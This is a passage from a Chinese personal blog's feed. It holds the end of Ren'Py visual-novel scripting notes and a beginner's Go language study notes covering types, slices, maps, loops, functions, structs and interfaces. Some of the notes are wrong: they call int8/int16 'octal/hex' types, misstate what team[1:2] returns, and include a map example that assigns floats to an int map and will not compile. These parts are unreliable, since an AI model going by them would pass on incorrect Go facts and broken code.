&quot;渣男死路一条&quot;  //wodouyao为真</span><br><span class="line"></span><br><span class="line">else:</span><br><span class="line"></span><br><span class="line">    &quot;不选也是死路一条。&quot;  //wodouyao为假</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="Ren’Py游戏脚本详细"><a href="#Ren’Py游戏脚本详细" class="headerlink" title="Ren’Py游戏脚本详细"></a>Ren’Py游戏脚本详细</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">脚本</span><br><span class="line">├── 语句块(block)           #多行脚本构成</span><br><span class="line">|   ├── 各行脚本</span><br><span class="line">|   |   ├── 基本元素(element) </span><br><span class="line">|   |   ├── 基本元素(element)</span><br><span class="line">|   语句块(block)           #多行脚本构成</span><br><span class="line">|   └── 各行脚本            #核查证件上传类</span><br><span class="line">|   └── 基本元素(element)</span><br></pre></td></tr></table></figure><p>game目录下有多个<code>.rpy</code>文件组成。在Ren’Py启动时，会将<code>.rpy</code>文件编译为<code>.rpyc</code>文件。</p><h3 id="python基础（略）"><a href="#python基础（略）" class="headerlink" title="python基础（略）"></a><a href="https://www.misaka10013.cn/2020/04/12/python%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#more">python基础（略）</a></h3><h3 id="重要语句解释"><a href="#重要语句解释" class="headerlink" title="重要语句解释"></a>重要语句解释</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">label loop_start:  //jump跳转</span><br><span class="line"></span><br><span class="line">    e &quot;哦，不！看起来我们陷入了一个无限循环之中。&quot;</span><br><span class="line"></span><br><span class="line">    jump loop_start</span><br><span class="line">    </span><br><span class="line">    </span><br><span class="line">e &quot;首先，我们调用一个子程序(subroutine)。&quot;  //call可带参</span><br><span class="line"></span><br><span class="line">call subroutine</span><br><span class="line"></span><br><span class="line">call subroutine(2)</span><br><span class="line"></span><br><span class="line">call expression &quot;subroutine&quot; pass (count=3)</span><br><span class="line"></span><br><span class="line">label subroutine(count=1):</span><br><span class="line"></span><br><span class="line">    e &quot;我来过这里 [count] 次了。&quot;</span><br><span class="line">    e &quot;接着，我们会返回到子程序(subroutine)。&quot;</span><br><span class="line"></span><br><span class="line">    return</span><br></pre></td></tr></table></figure><h3 id="控制图像"><a href="#控制图像" class="headerlink" title="控制图像"></a>控制图像</h3><p>控制图像的四种语句：</p><ul><li>image - 定义一个新的图像(image)。</li><li>show - 在图层上(layer)显示一个图像。</li><li>scene -清空图层(layer)，并可选是否在那个图层上显示一个图像。</li><li>hide - 将图层(layer)上的某个图像移除。</li><li>with - 用于图像切换，降低图像变化的突兀感。</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">image eileen happy = &quot;eileen_happy.png&quot;</span><br><span class="line">image black = &quot;#000&quot;</span><br><span class="line">image bg tiled = LiveTile(&quot;tile.jpg&quot;)</span><br><span class="line"></span><br><span class="line">image eileen happy question = VBox(</span><br><span class="line">    &quot;question.png&quot;,</span><br><span class="line">    &quot;eileen_happy.png&quot;,</span><br><span class="line">    )</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="控制菜单"><a href="#控制菜单" class="headerlink" title="控制菜单"></a>控制菜单</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">menu:</span><br><span class="line">    &quot;向左&quot;:  //选项</span><br><span class="line">        ...</span><br><span class="line">    &quot;向右&quot;:</span><br><span class="line">        ...</span><br><span class="line">    &quot;向前看&quot; if drank_tea:  //值为真，则可选</span><br><span class="line">        ...</span><br><span class="line"></span><br></pre></td></tr></table></figure><h1 id="GUI图形界面定制（暂略）"><a href="#GUI图形界面定制（暂略）" class="headerlink" title="GUI图形界面定制（暂略）"></a>GUI图形界面定制（暂略）</h1><h1 id="御坂游戏项目"><a href="#御坂游戏项目" class="headerlink" title="御坂游戏项目"></a>御坂游戏项目</h1><p>嘛，目前缺立绘、缺场景素材、缺剧本，抽时间吧，看6月前搞不搞得出来个短剧本GALgame demo。</p>]]>
    </content>
    <id>http://misaka10013.cn/p/1005221349.html</id>
    <link href="http://misaka10013.cn/p/1005221349.html"/>
    <published>2026-07-10T03:34:35.000Z</published>
    <summary>
      <![CDATA[<h2 id="📋-知识地图"><a href="#📋-知识地图" class="headerlink" title="📋 知识地图"></a>📋 知识地图</h2><blockquote>
<p><strong>说明</strong>：✅ &#x3D; 已有覆盖（可继续深化）　⬜ &#x3D; 待扩充</p>
</blockquote>
<h3 id="一、Ren’Py-引擎基础"><a href="#一、Ren’Py-引擎基础" class="headerlink" title="一、Ren’Py 引擎基础"></a>一、Ren’Py 引擎基础</h3>]]>
    </summary>
    <title>Ren’Py GAL开发学习笔记</title>
    <updated>2026-09-15T13:08:39.430Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="知识库" scheme="http://misaka10013.cn/categories/knowledge-base/"/>
    <category term="学习笔记" scheme="http://misaka10013.cn/tags/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <category term="编程" scheme="http://misaka10013.cn/tags/%E7%BC%96%E7%A8%8B/"/>
    <category term="go语言" scheme="http://misaka10013.cn/tags/go%E8%AF%AD%E8%A8%80/"/>
    <content>
      <![CDATA[<h2 id="📋-知识地图"><a href="#📋-知识地图" class="headerlink" title="📋 知识地图"></a>📋 知识地图</h2><blockquote><p><strong>说明</strong>：✅ &#x3D; 已有覆盖（可继续深化）　⬜ &#x3D; 待扩充</p></blockquote><h3 id="一、Go-语言概述"><a href="#一、Go-语言概述" class="headerlink" title="一、Go 语言概述"></a>一、Go 语言概述</h3><ul><li>✅ Go 的设计哲学（简单、并发、高效编译）</li><li>✅ 与 C &#x2F; Java 的对比定位</li><li>⬜ Go 版本演进与 Go Modules 的由来</li><li>⬜ Go 适用领域（云原生 &#x2F; CLI 工具 &#x2F; 微服务 &#x2F; DevOps）</li></ul><h3 id="二、开发环境"><a href="#二、开发环境" class="headerlink" title="二、开发环境"></a>二、开发环境</h3><ul><li>⬜ Go 安装与环境变量（GOROOT &#x2F; GOPATH &#x2F; GOBIN）</li><li>⬜ Go Modules 包管理（go mod init &#x2F; tidy &#x2F; vendor）</li><li>⬜ 常用 IDE &#x2F; 编辑器配置（VS Code + gopls）</li><li>⬜ gofmt &#x2F; goimports 代码格式化</li></ul><h3 id="三、程序结构与语法基础"><a href="#三、程序结构与语法基础" class="headerlink" title="三、程序结构与语法基础"></a>三、程序结构与语法基础</h3><ul><li>✅ Hello World 与包声明（package main）</li><li>✅ 数据类型（bool &#x2F; string &#x2F; int 系列 &#x2F; float &#x2F; byte &#x2F; rune）</li><li>✅ 变量声明（var &#x2F; 短声明 :&#x3D; &#x2F; 批量声明）</li><li>✅ 常量与 iota 枚举</li><li>⬜ 零值（zero value）概念</li><li>⬜ 类型转换（Go 无隐式转换）</li></ul><h3 id="四、容器与集合"><a href="#四、容器与集合" class="headerlink" title="四、容器与集合"></a>四、容器与集合</h3><ul><li>✅ 数组（固定长度）</li><li>✅ 切片（slice）：make &#x2F; append &#x2F; copy &#x2F; 切片截取</li><li>✅ Map：声明 &#x2F; 增删改查 &#x2F; 遍历</li><li>⬜ 切片底层原理（len vs cap &#x2F; 扩容机制）</li><li>⬜ range 遍历的各种用法</li><li>⬜ 字符串与 rune 的关系（Unicode 处理）</li></ul><h3 id="五、流程控制"><a href="#五、流程控制" class="headerlink" title="五、流程控制"></a>五、流程控制</h3><ul><li>✅ if &#x2F; else if &#x2F; else</li><li>✅ switch（Go 特色的无条件 switch）</li><li>✅ for 循环（Go 唯一循环语句）</li><li>✅ break &#x2F; continue &#x2F; goto</li><li>⬜ fallthrough 在 switch 中的使用</li><li>⬜ defer 延迟执行（资源清理）</li></ul><h3 id="六、函数"><a href="#六、函数" class="headerlink" title="六、函数"></a>六、函数</h3><ul><li>✅ 函数声明（func、参数、返回值）</li><li>✅ 多返回值</li><li>✅ 函数作为值（func 类型变量）</li><li>⬜ 可变参数（…）</li><li>⬜ 匿名函数与闭包</li><li>⬜ defer 的执行顺序（LIFO 栈）</li><li>⬜ panic &#x2F; recover 异常处理机制</li></ul><h3 id="七、结构体与方法"><a href="#七、结构体与方法" class="headerlink" title="七、结构体与方法"></a>七、结构体与方法</h3><ul><li>✅ 结构体定义与实例化</li><li>✅ 方法与接收者（receiver）</li><li>⬜ 值接收者 vs 指针接收者的选择</li><li>⬜ 结构体嵌入（组合优于继承）</li><li>⬩ 结构体标签（tags）与 JSON 序列化</li><li>⬜ new vs make 的区别</li></ul><h3 id="八、接口（interface）——-Go-的核心抽象"><a href="#八、接口（interface）——-Go-的核心抽象" class="headerlink" title="八、接口（interface）—— Go 的核心抽象"></a>八、接口（interface）—— Go 的核心抽象</h3><ul><li>✅ 接口定义与实现（隐式实现）</li><li>⬜ 空接口 interface{} 与 any（Go 1.18+）</li><li>⬜ 类型断言（type assertion）</li><li>⬜ 类型选择（type switch）</li><li>⬜ 常用标准接口：Stringer &#x2F; Reader &#x2F; Writer &#x2F; Error</li><li>⬜ 接口组合</li></ul><h3 id="九、并发编程（Go-最大杀器）"><a href="#九、并发编程（Go-最大杀器）" class="headerlink" title="九、并发编程（Go 最大杀器）"></a>九、并发编程（Go 最大杀器）</h3><ul><li>⬜ goroutine 概念与启动（go 关键字）</li><li>⬜ channel（无缓冲 &#x2F; 有缓冲 &#x2F; 关闭 &#x2F; 遍历）</li><li>⬜ select 多路复用</li><li>⬜ sync 包：WaitGroup &#x2F; Mutex &#x2F; RWMutex &#x2F; Once</li><li>⬜ 并发模式：生产者-消费者 &#x2F; 扇出扇入 &#x2F; Pipeline</li><li>⬜ context 上下文（超时、取消、传值）</li><li>⬜ 并发陷阱：数据竞态（race condition）、死锁</li><li>⬜ go run -race 竞态检测</li></ul><h3 id="十、错误处理"><a href="#十、错误处理" class="headerlink" title="十、错误处理"></a>十、错误处理</h3><ul><li>⬜ Go 的 error 接口设计哲学</li><li>⬜ errors.New &#x2F; fmt.Errorf</li><li>⬜ 错误包装与解包（%w &#x2F; errors.Unwrap）</li><li>⬜ 自定义错误类型</li><li>⬜ 错误处理最佳实践（不吞错误）</li></ul><h3 id="十一、包管理与工程结构"><a href="#十一、包管理与工程结构" class="headerlink" title="十一、包管理与工程结构"></a>十一、包管理与工程结构</h3><ul><li>⬜ Go Modules 深入（go.mod &#x2F; go.sum &#x2F; 版本锁定）</li><li>⬜ 包导入规则（公开&#x2F;私有：大小写首字母）</li><li>⬜ 标准项目布局（cmd &#x2F; internal &#x2F; pkg &#x2F; api）</li><li>⬜ 依赖管理与版本升级</li></ul><h3 id="十二、标准库精选"><a href="#十二、标准库精选" class="headerlink" title="十二、标准库精选"></a>十二、标准库精选</h3><ul><li>⬜ fmt：格式化 I&#x2F;O</li><li>⬜ net&#x2F;http：HTTP 客户端与服务器</li><li>⬜ encoding&#x2F;json：JSON 序列化</li><li>⬜ os &#x2F; io &#x2F; bufio：文件与 I&#x2F;O 操作</li><li>⬜ time：时间处理</li><li>⬜ testing：单元测试与基准测试</li><li>⬜ flag：CLI 参数解析</li></ul><h3 id="十三、测试"><a href="#十三、测试" class="headerlink" title="十三、测试"></a>十三、测试</h3><ul><li>⬜ 单元测试（TestXxx &#x2F; t.Run &#x2F; table-driven tests）</li><li>⬜ 表格驱动测试模式</li><li>⬜ 基准测试（BenchmarkXxx）</li><li>⬜ TestMain 与测试初始化</li><li>⬜ testify 第三方断言库</li></ul><h3 id="十四、实战项目参考"><a href="#十四、实战项目参考" class="headerlink" title="十四、实战项目参考"></a>十四、实战项目参考</h3><ul><li>⬜ 简易 HTTP REST API</li><li>⬜ CLI 工具开发（cobra 框架）</li><li>⬜ 数据库操作（database&#x2F;sql + 驱动）</li></ul><h1 id="go语言基础知识"><a href="#go语言基础知识" class="headerlink" title="go语言基础知识"></a>go语言基础知识</h1><h2 id="go语言基础知识-1"><a href="#go语言基础知识-1" class="headerlink" title="go语言基础知识"></a>go语言基础知识</h2><p>基础于c，具有部署简单、并发号、执行性能好的特点。与java相比，没有类和继承，相比java更加高效，相比c更加简单易编译。go对多核心优化好，可让程序员调用硬件更多性能。在很多语法现象上有从c语言简化，同时为了降低歧义和程序员语言风格对代码功能的影响，对代码书写方式和工程文件结构等做了规定。</p><h2 id="hello-world"><a href="#hello-world" class="headerlink" title="hello world"></a>hello world</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">package main    // 声明 main 包，main包是唯一的，是入口。</span><br><span class="line">import (</span><br><span class="line">    &quot;fmt&quot;       // 导入 fmt 包，打印字符串是需要用到</span><br><span class="line">)</span><br><span class="line">func main() &#123;   // 声明 main 主函数，所以函数以func开头。func 函数名 (参数列表) (返回值列表)</span><br><span class="line">    fmt.Println(&quot;Hello World!&quot;) // 打印 Hello World!</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>go语言以包为管理单位，每个go源文件需要声明其所属包，一目录下同级文件属于同一个包。</p><h1 id="数据类型和变量生成"><a href="#数据类型和变量生成" class="headerlink" title="数据类型和变量生成"></a>数据类型和变量生成</h1><h2 id="数据类型"><a href="#数据类型" class="headerlink" title="数据类型"></a>数据类型</h2><ul><li>bool  布尔</li><li>string  字符串</li><li>int、int8、int16、int32、int64  整型（分别8进制、16进制、32进制等）</li><li>uint、uint8、uint16、uint32、uint64、uintptr</li><li>byte &#x2F;&#x2F; uint8 的别名</li><li>float32、float64  实型</li></ul><h2 id="变量赋值方式"><a href="#变量赋值方式" class="headerlink" title="变量赋值方式"></a>变量赋值方式</h2><p><code>var name type</code> 变量声明方式</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">var (  //批量变量</span><br><span class="line">    a int =3 //不需要“；”</span><br><span class="line">    b string</span><br><span class="line">    c []float32</span><br><span class="line">    d func() bool</span><br><span class="line">    e struct &#123;</span><br><span class="line">        x int</span><br><span class="line">    &#125;</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">a,s:=1, &quot;abc&quot;//简化申明和赋值</span><br><span class="line">c:=a+a</span><br><span class="line">ptr := &amp;v  //指针变量</span><br><span class="line">var a,b *int  //指针变量</span><br><span class="line">var q [3]int = [3]int&#123;1, 2, 3&#125;  //数组同时赋值</span><br></pre></td></tr></table></figure><p>全局变量在主函数之外进行声明。</p><h1 id="GO语言容器"><a href="#GO语言容器" class="headerlink" title="GO语言容器"></a>GO语言容器</h1><h2 id="数组遍历"><a href="#数组遍历" class="headerlink" title="数组遍历"></a>数组遍历</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">var team [3]string</span><br><span class="line">team[0] = &quot;hammer&quot;</span><br><span class="line">team[1] = &quot;soldier&quot;</span><br><span class="line">team[2] = &quot;mum&quot;</span><br><span class="line">for k, v := range team &#123;  //k如计数器，从0开始。v作为桥梁，获取数组team的值</span><br><span class="line">    fmt.Println(k, v)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="切片"><a href="#切片" class="headerlink" title="切片"></a>切片</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">fmt.Println(team[1:2])  //输出数组第二和第三个的内容。相当于生成切片。</span><br><span class="line">b := make([]int, 2, 10)  //使用make函数，预分配10个内存空间，但使用2个元素</span><br><span class="line"></span><br><span class="line">var a []int</span><br><span class="line">a = append(a, 1, 2, 3)  // append追加多个元素, 手写解包方式。还有copy复制切片等</span><br></pre></td></tr></table></figure><h2 id="map概念（python中的字典）"><a href="#map概念（python中的字典）" class="headerlink" title="map概念（python中的字典）"></a>map概念（python中的字典）</h2><p>map是一种特殊的数据结构，是由key（索引）和value（值）两个元素组合成的无序集合。map的容量是动态的。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">package main</span><br><span class="line">import &quot;fmt&quot;</span><br><span class="line">func main() &#123;</span><br><span class="line">    var mapLit map[string]int  //分别是map名、map结合值中的key的类型以及map的值的类型</span><br><span class="line">    mapLit = map[string]int&#123;&quot;one&quot;: 1, &quot;two&quot;: 2&#125;</span><br><span class="line">    mapCreated := make(map[string]int)</span><br><span class="line">    mapCreated[&quot;key1&quot;] = 4.5</span><br><span class="line">    mapCreated[&quot;key2&quot;] = 3.14159</span><br><span class="line">    fmt.Printf(&quot;Map literal at \&quot;one\&quot; is: %d\n&quot;, mapLit[&quot;one&quot;])</span><br><span class="line">    fmt.Printf(&quot;Map created at \&quot;key2\&quot; is: %f\n&quot;, mapCreated[&quot;key2&quot;])</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">scene := make(map[string]int)</span><br><span class="line">scene[&quot;route&quot;] = 66</span><br><span class="line">scene[&quot;brazil&quot;] = 4</span><br><span class="line">scene[&quot;china&quot;] = 960</span><br><span class="line">delete(scene, &quot;brazil&quot;)  //删除一组值</span><br><span class="line">for k, v := range scene &#123;  //遍历</span><br><span class="line">    fmt.Println(k, v)</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h1 id="go语言程序结构"><a href="#go语言程序结构" class="headerlink" title="go语言程序结构"></a>go语言程序结构</h1><h2 id="判断"><a href="#判断" class="headerlink" title="判断"></a>判断</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">if condition1 &#123;</span><br><span class="line">    // do something</span><br><span class="line">&#125; else if condition2 &#123;</span><br><span class="line">    // do something else</span><br><span class="line">&#125;else &#123;</span><br><span class="line">    // catch-all or default</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">var s = &quot;hello&quot;</span><br><span class="line">switch &#123;</span><br><span class="line">case s == &quot;hello&quot;:  //case 判断表达式</span><br><span class="line">    fmt.Println(&quot;hello&quot;)</span><br><span class="line">    fallthrough</span><br><span class="line">case s != &quot;world&quot;:</span><br><span class="line">    fmt.Println(&quot;world&quot;)</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="循环"><a href="#循环" class="headerlink" title="循环"></a>循环</h2><p>只支持for循环</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">sum := 0</span><br><span class="line">for i := 0; i &lt; 10; i++ &#123;</span><br><span class="line">    sum += i</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">for key, val := range coll &#123;  //常用语遍历的循环模式，其中key作为递增。val是只读传递数值</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>break</code>退出本次循环。 <code>goto</code>可以直接跳出多层循环到标签处。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">goto breakHere</span><br><span class="line"></span><br><span class="line">breakHere:</span><br><span class="line">    fmt.Println(&quot;done&quot;)</span><br></pre></td></tr></table></figure><h1 id="函数"><a href="#函数" class="headerlink" title="函数"></a>函数</h1><h2 id="一般函数声明"><a href="#一般函数声明" class="headerlink" title="一般函数声明"></a>一般函数声明</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">func typedTwoValues() (int, int) &#123;</span><br><span class="line">    return 1, 2</span><br><span class="line">&#125;</span><br><span class="line">func main() &#123;</span><br><span class="line">    a, b := typedTwoValues()</span><br><span class="line">    fmt.Println(a, b)</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">package main</span><br><span class="line">import (</span><br><span class="line">    &quot;fmt&quot;</span><br><span class="line">)</span><br><span class="line">func fire() &#123;</span><br><span class="line">    fmt.Println(&quot;fire&quot;)</span><br><span class="line">&#125;</span><br><span class="line">func main() &#123;</span><br><span class="line">    var f func()  //将func函数当做一种类型，定义一个f变量</span><br><span class="line">    f = fire  //调用变量，相当于无传入的函数</span><br><span class="line">    f()</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h1 id="结构体"><a href="#结构体" class="headerlink" title="结构体"></a>结构体</h1><p>go语言没有类的概念,结构体与c语言类似。（不过我感觉c和go的结构体和java的类挺相似，因为都可以属性继承等。）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">type Point struct &#123;  //结构体定义</span><br><span class="line">    X int</span><br><span class="line">    Y string</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">var p Point  //实例化</span><br><span class="line">p.X = 10  //调用</span><br><span class="line"></span><br></pre></td></tr></table></figure><h1 id="接口概念"><a href="#接口概念" class="headerlink" title="接口概念"></a>接口概念</h1><p>虽然go没有类和继承的概念，但其通过接口的概念实现面对对象的特性（一种抽象的存在）。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">type writer interface&#123;  //定义接口名，interface是定义接口关键词。接口类型由数个方法构成，默认在接口名后面加er以便于区分</span><br><span class="line">    Write([]byte) error</span><br><span class="line">    方法名（参数列表） 返回值</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>http://misaka10013.cn/p/3468112246.html</id>
    <link href="http://misaka10013.cn/p/3468112246.html"/>
    <published>2026-07-10T03:34:35.000Z</published>
    <summary>
      <![CDATA[<h2 id="📋-知识地图"><a href="#📋-知识地图" class="headerlink" title="📋 知识地图"></a>📋 知识地图</h2><blockquote>
<p><strong>说明</strong>：✅ &#x3D; 已有覆盖（可继续深化）　⬜ &#x3D; 待扩充</p>
</blockquote>
<h3 id="一、Go-语言概述"><a href="#一、Go-语言概述" class="headerlink" title="一、Go 语言概述"></a>一、Go 语言概述</h3>]]>
    </summary>
    <title>go语言学习笔记</title>
    <updated>2026-09-15T13:08:39.430Z</updated>
  </entry>
</feed>
